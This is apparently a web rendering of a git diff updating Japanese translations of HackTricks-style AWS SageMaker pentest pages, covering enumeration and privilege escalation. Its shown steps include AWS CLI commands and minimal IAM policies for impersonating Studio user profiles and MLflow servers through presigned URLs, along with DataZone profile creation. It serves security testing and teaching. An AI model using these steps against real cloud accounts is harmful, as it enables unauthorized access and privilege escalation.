# 3) Create a JupyterServer app for the user profile
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-privesc
|
||||
|
||||
# 4) Generate a presigned URL to access Studio
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
|
||||
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
```
|
||||
**Potential Impact**: 対象の UserProfile にアタッチされた SageMaker 実行ロールへの対話的アクセス。
|
||||
|
||||
|
||||
## 参考資料
|
||||
### `iam:GetUser`, `datazone:CreateUserProfile`
|
||||
|
||||
これらの権限を持つ攻撃者は、対象の IAM ユーザーのために DataZone User Profile を作成することで、その IAM ユーザーに Sagemaker Unified Studio Domain へのアクセスを付与できます。
|
||||
```bash
|
||||
# List domains
|
||||
aws datazone list-domains --region us-east-1 \
|
||||
--query "items[].{Id:id,Name:name}" \
|
||||
--output json
|
||||
|
||||
# Add IAM user as a user of the domain
|
||||
aws datazone create-user-profile \
|
||||
--region us-east-1 \
|
||||
--domain-identifier <domain-id> \
|
||||
--user-identifier <arn-user> \
|
||||
--user-type IAM_USER
|
||||
```
|
||||
The Unified Domain URL は次の形式です: `https://<domain-id>.sagemaker.<region>.on.aws/` (例: `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`).
|
||||
|
||||
**Potential Impact:** Sagemaker Unified Studio Domain にユーザーとしてアクセスできると、Sagemaker ドメイン内のすべてのリソースにアクセスでき、さらに Sagemaker Unified Studio Domain 内のノートブックが使用しているロールへ権限を昇格させる可能性があります。
|
||||
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||||
|
||||
|
||||
@@ -2,31 +2,31 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Service Overview
|
||||
## サービス概要
|
||||
|
||||
Amazon SageMaker は、notebooks、training infrastructure、orchestration、registries、managed endpoints を統合する AWS のマネージド機械学習プラットフォームです。SageMaker リソースの compromise により通常得られるものは以下の通りです:
|
||||
Amazon SageMaker は、ノートブック、トレーニングインフラ、オーケストレーション、レジストリ、マネージドエンドポイントを結びつける AWS のマネージド機械学習プラットフォームです。SageMaker リソースが侵害されると通常、次のような権限やアクセスが得られます:
|
||||
|
||||
- 長期有効な IAM 実行ロールで、広範な S3、ECR、Secrets Manager、または KMS へのアクセス。
|
||||
- 長期的な IAM 実行ロール(広範な S3、ECR、Secrets Manager、または KMS へのアクセス権を持つ)。
|
||||
- S3、EFS、または feature stores 内に保存された機密データセットへのアクセス。
|
||||
- VPC 内のネットワーク足掛かり(Studio apps、training jobs、endpoints)。
|
||||
- コンソール認証をバイパスする高権限の presigned URLs。
|
||||
- VPC 内のネットワーク足場(Studio apps、training jobs、endpoints)。
|
||||
- コンソール認証を回避する高権限の presigned URLs。
|
||||
|
||||
SageMaker がどのように組み立てられているかを理解することは、データを pivot、persist、または exfiltrate する前に不可欠です。
|
||||
SageMaker の構成を理解することは、ピボット、永続化、またはデータの持ち出しを行う前に重要です。
|
||||
|
||||
## Core Building Blocks
|
||||
## コア構成要素
|
||||
|
||||
- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio)。各 domain は共有の EFS ファイルシステムとデフォルトの実行ロールを持ちます。
|
||||
- **Notebook Instances**: スタンドアロンノートブック用の管理された EC2 インスタンス。専用の実行ロールを使用します。
|
||||
- **Training / Processing / Transform Jobs**: ECR からコードを、S3 からデータを取得する一時的なコンテナ。
|
||||
- **Pipelines & Experiments**: 全てのステップ、入力、出力を記述するオーケストレーションされたワークフロー。
|
||||
- **Models & Endpoints**: HTTPS endpoints 経由で推論にデプロイされるパッケージ化されたアーティファクト。
|
||||
- **Feature Store & Data Wrangler**: データ準備と feature 管理のためのマネージドサービス。
|
||||
- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio)。各ドメインは共有の EFS ファイルシステムとデフォルトの実行ロールを持ちます。
|
||||
- **Notebook Instances**: スタンドアロンのノートブック用に管理された EC2 インスタンス。実行ロールは別々に設定されます。
|
||||
- **Training / Processing / Transform Jobs**: ECR からコードを、S3 からデータを取得するエフェメラルなコンテナ。
|
||||
- **Pipelines & Experiments**: すべてのステップ、入力、出力を記述するオーケストレーションされたワークフロー。
|
||||
- **Models & Endpoints**: HTTPS エンドポイント経由で推論にデプロイされるパッケージ化されたアーティファクト。
|
||||
- **Feature Store & Data Wrangler**: データ準備と特徴量管理のためのマネージドサービス。
|
||||
- **Autopilot & JumpStart**: 自動化された ML とキュレーションされたモデルカタログ。
|
||||
- **MLflow Tracking Servers**: presigned access tokens を用いる管理された MLflow UI/API。
|
||||
- **MLflow Tracking Servers**: presigned アクセストークンを使ったマネージドな MLflow UI/API。
|
||||
|
||||
すべてのリソースは実行ロール、S3 の場所、コンテナイメージ、およびオプションの VPC/KMS 構成を参照するため、enumeration の際にそれらすべてを取得してください。
|
||||
すべてのリソースは実行ロール、S3 の位置、コンテナイメージ、および任意の VPC/KMS 構成を参照しているため、列挙時にそれらをすべて取得してください。
|
||||
|
||||
## Account & Global Metadata
|
||||
## アカウントとグローバルメタデータ
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Portfolio status, used when provisioning Studio resources
|
||||
@@ -39,9 +39,9 @@ aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' -
|
||||
# Generic tag sweep across any SageMaker ARN you know
|
||||
aws sagemaker list-tags --resource-arn <sagemaker-arn> --region $REGION
|
||||
```
|
||||
クロスアカウントの信頼(execution roles や S3 buckets with external principals)および service control policies や SCPs といったベースライン制限を記録してください。
|
||||
クロスアカウントの信頼関係(execution roles または S3 buckets に external principals が含まれている場合)や、service control policies や SCPs のようなベースライン制限を記録してください。
|
||||
|
||||
## Studio ドメイン、Apps、共有スペース
|
||||
## Studio ドメイン、アプリ & 共有スペース
|
||||
```bash
|
||||
aws sagemaker list-domains --region $REGION
|
||||
aws sagemaker describe-domain --domain-id <domain-id> --region $REGION
|
||||
@@ -60,14 +60,14 @@ aws sagemaker describe-space --domain-id <domain-id> --space-name <space> --regi
|
||||
aws sagemaker list-studio-lifecycle-configs --region $REGION
|
||||
aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name <name> --region $REGION
|
||||
```
|
||||
何を記録するか:
|
||||
記録する項目:
|
||||
|
||||
- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`.
|
||||
- マウントされた EFS(`HomeEfsFileSystemId`)および S3 のホームディレクトリ。
|
||||
- Lifecycle scripts(多くの場合、bootstrap credentials や push/pull の追加コードが含まれる)。
|
||||
- マウントされた EFS (`HomeEfsFileSystemId`) および S3 のホームディレクトリ。
|
||||
- Lifecycle scripts(しばしば bootstrap credentials を含む、または push/pull による追加コードを含む)。
|
||||
|
||||
> [!TIP]
|
||||
> Presigned Studio URLs は、広く付与されていると認証をバイパスする可能性がある。
|
||||
> Presigned Studio URLs は、広く付与されていると認証をバイパスする可能性があります。
|
||||
|
||||
## Notebook Instances & Lifecycle Configs
|
||||
```bash
|
||||
@@ -76,13 +76,13 @@ aws sagemaker describe-notebook-instance --notebook-instance-name <name> --regio
|
||||
aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION
|
||||
aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name <cfg> --region $REGION
|
||||
```
|
||||
Notebookのメタデータから判明すること:
|
||||
Notebook のメタデータから判明すること:
|
||||
|
||||
- 実行ロール (`RoleArn`)、直接インターネットアクセスかVPC限定モードか。
|
||||
- `DefaultCodeRepository`、`DirectInternetAccess`、`RootAccess` に設定された S3 の場所。
|
||||
- 認証情報や永続化フックのためのライフサイクルスクリプト。
|
||||
- 実行ロール (`RoleArn`)、直接インターネットアクセスか VPC-only モードか。
|
||||
- `DefaultCodeRepository`、`DirectInternetAccess`、`RootAccess` に記載された S3 の場所。
|
||||
- 資格情報や永続化用のフックを仕込むためのライフサイクルスクリプト。
|
||||
|
||||
## Training, Processing, Transform & Batch Jobs
|
||||
## トレーニング、プロセッシング、トランスフォーム、およびバッチジョブ
|
||||
```bash
|
||||
aws sagemaker list-training-jobs --region $REGION
|
||||
aws sagemaker describe-training-job --training-job-name <job> --region $REGION
|
||||
@@ -93,9 +93,11 @@ aws sagemaker describe-processing-job --processing-job-name <job> --region $REGI
|
||||
aws sagemaker list-transform-jobs --region $REGION
|
||||
aws sagemaker describe-transform-job --transform-job-name <job> --region $REGION
|
||||
```
|
||||
- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – どの ECR イメージがデプロイされているか.
|
||||
- `InputDataConfig` & `OutputDataConfig` – S3 バケット、プレフィックス、および KMS キー.
|
||||
- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – ネットワークや暗号化の構成を判断する.
|
||||
精査する:
|
||||
|
||||
- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – どの ECR イメージがデプロイされているかを確認する。
|
||||
- `InputDataConfig` & `OutputDataConfig` – S3 バケット、プレフィックス、および KMS キー。
|
||||
- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – ネットワークや暗号化の構成を判断する。
|
||||
- `HyperParameters` may leak environment secrets or connection strings.
|
||||
|
||||
## パイプライン、実験 & トライアル
|
||||
@@ -108,7 +110,7 @@ aws sagemaker list-experiments --region $REGION
|
||||
aws sagemaker list-trials --experiment-name <experiment> --region $REGION
|
||||
aws sagemaker list-trial-components --trial-name <trial> --region $REGION
|
||||
```
|
||||
パイプライン定義は、各ステップ、関連するロール、コンテナイメージ、および環境変数を詳細に記述します。トライアルコンポーネントには、しばしば学習アーティファクトのURIs、S3ログ、および機密データの流れを示唆するメトリクスが含まれていることが多いです。
|
||||
パイプライン定義は、各ステップ、関連するロール、コンテナイメージ、および環境変数を詳細に記述します。トライアルコンポーネントには、トレーニングアーティファクトのURI、S3ログ、および機密データのフローを示唆するメトリクスが含まれていることが多いです。
|
||||
|
||||
## モデル、エンドポイント構成 & デプロイ済みエンドポイント
|
||||
```bash
|
||||
@@ -123,10 +125,10 @@ aws sagemaker describe-endpoint --endpoint-name <endpoint> --region $REGION
|
||||
```
|
||||
注力領域:
|
||||
|
||||
- モデルアーティファクトの S3 URIs (`PrimaryContainer.ModelDataUrl`) と推論コンテナイメージ。
|
||||
- エンドポイントの data capture 設定(S3 bucket、KMS)を確認し、possible log exfil の可能性を調査。
|
||||
- `S3DataSource` または `ModelPackage` を使用する multi-model endpoints(cross-account packaging を確認)。
|
||||
- エンドポイントに紐付くネットワーク構成およびセキュリティグループ。
|
||||
- モデルアーティファクトのS3 URI (`PrimaryContainer.ModelDataUrl`) と推論用コンテナイメージ。
|
||||
- エンドポイントのデータキャプチャ設定(S3 bucket、KMS)を確認し、ログのexfil 可能性を調査。
|
||||
- `S3DataSource` または `ModelPackage` を使用するマルチモデルエンドポイント(クロスアカウントのパッケージ化を確認)。
|
||||
- エンドポイントに紐づくネットワーク構成とセキュリティグループ。
|
||||
|
||||
## Feature Store, Data Wrangler & Clarify
|
||||
```bash
|
||||
@@ -141,9 +143,9 @@ aws sagemaker list-model-monitoring-schedule --region $REGION
|
||||
```
|
||||
セキュリティの要点:
|
||||
|
||||
- Online feature storesはデータをKinesisに複製します。`OnlineStoreConfig.SecurityConfig.KmsKeyId` と VPC を確認してください。
|
||||
- Data Wrangler flowsはしばしばJDBC/Redshiftの認証情報やプライベートエンドポイントを埋め込んでいます。
|
||||
- Clarify/Model Monitor jobsはS3にデータをエクスポートしますが、そのS3が公開(world-readable)されていたりクロスアカウントからアクセス可能になっている場合があります。
|
||||
- Online feature stores はデータを Kinesis に複製します。`OnlineStoreConfig.SecurityConfig.KmsKeyId` と VPC を確認してください。
|
||||
- Data Wrangler のフローには、JDBC/Redshift の認証情報やプライベートエンドポイントが埋め込まれていることが多いです。
|
||||
- Clarify/Model Monitor ジョブはデータを S3 にエクスポートします。S3 が world-readable だったりクロスアカウントでアクセス可能になっている可能性があります。
|
||||
|
||||
## MLflow Tracking Servers, Autopilot & JumpStart
|
||||
```bash
|
||||
@@ -156,15 +158,15 @@ aws sagemaker describe-auto-ml-job --auto-ml-job-name <name> --region $REGION
|
||||
aws sagemaker list-jumpstart-models --region $REGION
|
||||
aws sagemaker list-jumpstart-script-resources --region $REGION
|
||||
```
|
||||
- MLflow tracking servers は実験とアーティファクトを保存します。事前署名付きURLはすべてを公開する可能性があります。
|
||||
- Autopilot ジョブは複数の training jobs を起動します — 出力を列挙して隠れたデータを探してください。
|
||||
- JumpStart のリファレンスアーキテクチャはアカウント内に特権ロールをデプロイする場合があります。
|
||||
- MLflow tracking servers は実験とアーティファクトを保存します。presigned URLs によりすべてが露出する可能性があります。
|
||||
- Autopilot ジョブは複数の training jobs を起動します — 隠れたデータのために出力を列挙してください。
|
||||
- JumpStart の reference architectures はアカウント内に特権ロールをデプロイする場合があります。
|
||||
|
||||
## IAM とネットワークに関する考慮事項
|
||||
## IAM とネットワーキングの考慮事項
|
||||
|
||||
- すべての実行ロール(Studio、notebooks、training jobs、pipelines、endpoints)にアタッチされている IAM ポリシーを列挙してください。
|
||||
- ネットワークの状況(subnets、security groups、VPC endpoints)を確認します。多くの組織は training jobs を分離していますが、アウトバウンド通信の制限を忘れがちです。
|
||||
- 外部アクセスの観点から、`ModelDataUrl`、`DataCaptureConfig`、`InputDataConfig` で参照されている S3 バケットポリシーを確認してください。
|
||||
- Studio、notebooks、training jobs、pipelines、endpoints を含むすべての実行ロールにアタッチされた IAM ポリシーを列挙してください。
|
||||
- ネットワークの文脈(subnets、security groups、VPC endpoints)を確認してください。多くの組織は training jobs を分離しますが、アウトバウンド通信の制限を忘れがちです。
|
||||
- 外部アクセスについて、`ModelDataUrl`、`DataCaptureConfig`、`InputDataConfig` で参照される S3 バケットポリシーを確認してください。
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
@@ -190,7 +192,7 @@ aws sagemaker list-jumpstart-script-resources --region $REGION
|
||||
../aws-sagemaker-unauthenticated-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考
|
||||
## 参考資料
|
||||
|
||||
- [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html)
|
||||
- [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html)
|
||||
|
||||
@@ -1,108 +1,13 @@
|
||||
# AWS - SageMaker Unauthorized Access
|
||||
# AWS - SageMaker 不正アクセス
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker Studio - CreatePresignedDomainUrl を介したアカウント乗っ取り (Impersonate Any UserProfile)
|
||||
## Presigned URLs for SageMaker
|
||||
|
||||
### 説明
|
||||
ターゲットの Studio `UserProfile` に対して `sagemaker:CreatePresignedDomainUrl` を呼び出す権限を持つアイデンティティは、そのプロファイルとして直接認証するログイン URL を発行できます。これにより攻撃者のブラウザは、プロファイルの `ExecutionRole` 権限を継承し、プロファイルの EFS‑backed ホームおよびアプリへの完全なアクセスを持つ Studio セッションを取得します。`iam:PassRole` やコンソールアクセスは不要です。
|
||||
攻撃者が SageMaker リソースの presigned URL を入手した場合、追加の認証なしでアクセスできます。権限とアクセスレベルは、そのリソースに関連付けられたロールに依存します:
|
||||
|
||||
### 要件
|
||||
- SageMaker Studio の `Domain` とその中のターゲット `UserProfile`。
|
||||
- 攻撃者プリンシパルはターゲット `UserProfile` に対して `sagemaker:CreatePresignedDomainUrl`(リソースレベル)または `*` を持っている必要があります。
|
||||
|
||||
Minimal policy example (scoped to one UserProfile):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedDomainUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### 悪用手順
|
||||
|
||||
1) 対象にできる Studio Domain と UserProfiles を列挙する
|
||||
```bash
|
||||
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
|
||||
aws sagemaker list-user-profiles --domain-id-equals $DOM
|
||||
TARGET_USER=<UserProfileName>
|
||||
```
|
||||
2) presigned URL を生成する (デフォルトでは有効期限は約5分)
|
||||
```bash
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id $DOM \
|
||||
--user-profile-name $TARGET_USER \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
3) ブラウザで返されたURLを開き、ターゲットユーザーとしてStudioにサインインします。Studio内のJupyterターミナルで実効IDを確認します:
|
||||
```bash
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
注意:
|
||||
- `--landing-uri` は省略可能です。`app:JupyterLab:/lab` のような一部の値は Studio のフレーバー/バージョンによって拒否される場合があります; デフォルトでは通常 Studio ホームにリダイレクトされ、その後 Jupyter に遷移します。
|
||||
- 組織のポリシーや VPC エンドポイントの制限によりネットワークアクセスがブロックされる場合があります; token minting はコンソールへのサインインや `iam:PassRole` を必要としません。
|
||||
|
||||
### Impact
|
||||
- ARN が許可された任意の Studio `UserProfile` を引き受けることで、`ExecutionRole` やファイルシステム/アプリを継承し、横移動や権限昇格が発生します。
|
||||
|
||||
### Evidence (from a controlled test)
|
||||
- ターゲット `UserProfile` に対して `sagemaker:CreatePresignedDomainUrl` のみが付与されている状態で、攻撃者ロールは次のような `AuthorizedUrl` を正常に返しました:
|
||||
```
|
||||
https://studio-d-xxxxxxxxxxxx.studio.<region>.sagemaker.aws/auth?token=eyJhbGciOi...
|
||||
```
|
||||
- 直接の HTTP リクエストは Studio へリダイレクト (HTTP 302) で応答し、その URL が有効で期限切れになるまでアクティブであることを確認できます。
|
||||
|
||||
|
||||
## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl
|
||||
|
||||
### 説明
|
||||
ターゲットの SageMaker MLflow Tracking Server に対して `sagemaker:CreatePresignedMlflowTrackingServerUrl` を呼び出す権限を持つアイデンティティは、そのサーバーの管理された MLflow UI に直接認証する単回使用の presigned URL を発行できます。これにより、コンソールアクセスや `iam:PassRole` なしで、正規ユーザーが持つのと同じサーバーへのアクセス(実験や runs の表示/作成、およびサーバーの S3 アーティファクトストアからのアーティファクトのダウンロード/アップロード)が付与されます。
|
||||
|
||||
### 要件
|
||||
- アカウント/リージョン内にある SageMaker MLflow Tracking Server とその名前。
|
||||
- 攻撃者主体はターゲットの MLflow Tracking Server リソースに対して `sagemaker:CreatePresignedMlflowTrackingServerUrl`(または `*`)の許可を必要とします。
|
||||
|
||||
最小ポリシー例(1つの Tracking Server にスコープ):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:mlflow-tracking-server/<tracking-server-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### 悪用手順
|
||||
|
||||
1) ターゲットにできる MLflow Tracking Servers を列挙し、1つの名前を選ぶ
|
||||
```bash
|
||||
aws sagemaker list-mlflow-tracking-servers \
|
||||
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
|
||||
TS_NAME=<tracking-server-name>
|
||||
```
|
||||
2) presigned MLflow UI URL を生成する(短時間のみ有効)
|
||||
```bash
|
||||
aws sagemaker create-presigned-mlflow-tracking-server-url \
|
||||
--tracking-server-name "$TS_NAME" \
|
||||
--expires-in-seconds 300 \
|
||||
--session-expiration-duration-in-seconds 1800 \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
3) ブラウザで返されたURLを開き、当該 Tracking Server の認証済みユーザーとして MLflow UI にアクセスします。
|
||||
|
||||
注意:
|
||||
- The Tracking Server は準備完了状態(例: `Created/Active`)である必要があります。まだ `Creating` の場合、呼び出しは拒否されます。
|
||||
- presigned URL は一回限りで有効期限が短いので、必要に応じて新しいものを生成してください。
|
||||
|
||||
### 影響
|
||||
- ターゲットとなる Tracking Server の管理されている MLflow UI への直接アクセス。これにより、サーバ設定で強制される権限の範囲内で、experiments/runs の閲覧・変更や、サーバに設定された S3 artifact store に格納されている artifacts の取得・アップロードが可能になります。
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-sagemaker-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user